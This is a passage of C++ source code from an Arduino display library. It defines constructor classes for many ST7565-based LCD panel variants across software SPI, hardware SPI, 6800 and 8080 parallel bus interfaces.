}\n};\nclass U8X8_ST7565_64128N_6800 : public U8X8 {\n  public: U8X8_ST7565_64128N_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_64128N_8080 : public U8X8 {\n  public: U8X8_ST7565_64128N_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ZOLEN_128X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_ZOLEN_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ZOLEN_128X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ZOLEN_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ZOLEN_128X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ZOLEN_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ZOLEN_128X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_ZOLEN_128X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_ZOLEN_128X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ZOLEN_128X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_ZOLEN_128X64_6800 : public U8X8 {\n  public: U8X8_ST7565_ZOLEN_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ZOLEN_128X64_8080 : public U8X8 {\n  public: U8X8_ST7565_ZOLEN_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_zolen_128x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6059_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6059_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6059_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6059_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6059_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6059_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6059_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6059_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_LM6059_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6059_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_LM6059_6800 : public U8X8 {\n  public: U8X8_ST7565_LM6059_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6059_8080 : public U8X8 {\n  public: U8X8_ST7565_LM6059_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6059, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_KS0713_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_KS0713_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_KS0713_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_KS0713_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_KS0713_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_KS0713_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_KS0713_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_KS0713_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_KS0713_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_KS0713_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_KS0713_6800 : public U8X8 {\n  public: U8X8_ST7565_KS0713_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_KS0713_8080 : public U8X8 {\n  public: U8X8_ST7565_KS0713_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ks0713, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LX12864_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_LX12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LX12864_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LX12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LX12864_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LX12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LX12864_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_LX12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_LX12864_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LX12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_LX12864_6800 : public U8X8 {\n  public: U8X8_ST7565_LX12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LX12864_8080 : public U8X8 {\n  public: U8X8_ST7565_LX12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lx12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_6800 : public U8X8 {\n  public: U8X8_ST7565_ERC12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_8080 : public U8X8 {\n  public: U8X8_ST7565_ERC12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_ALT_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_ALT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_ALT_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_ALT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_ALT_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_ALT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_ALT_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_ALT_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_ALT_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_ERC12864_ALT_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_ALT_6800 : public U8X8 {\n  public: U8X8_ST7565_ERC12864_ALT_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_ERC12864_ALT_8080 : public U8X8 {\n  public: U8X8_ST7565_ERC12864_ALT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_erc12864_alt, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12864_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12864_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12864_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12864_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12864_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_NHD_C12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12864_6800 : public U8X8 {\n  public: U8X8_ST7565_NHD_C12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_NHD_C12864_8080 : public U8X8 {\n  public: U8X8_ST7565_NHD_C12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_nhd_c12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_JLX12864_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_JLX12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_JLX12864_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_JLX12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_JLX12864_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_JLX12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_JLX12864_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_JLX12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_jlx12864, 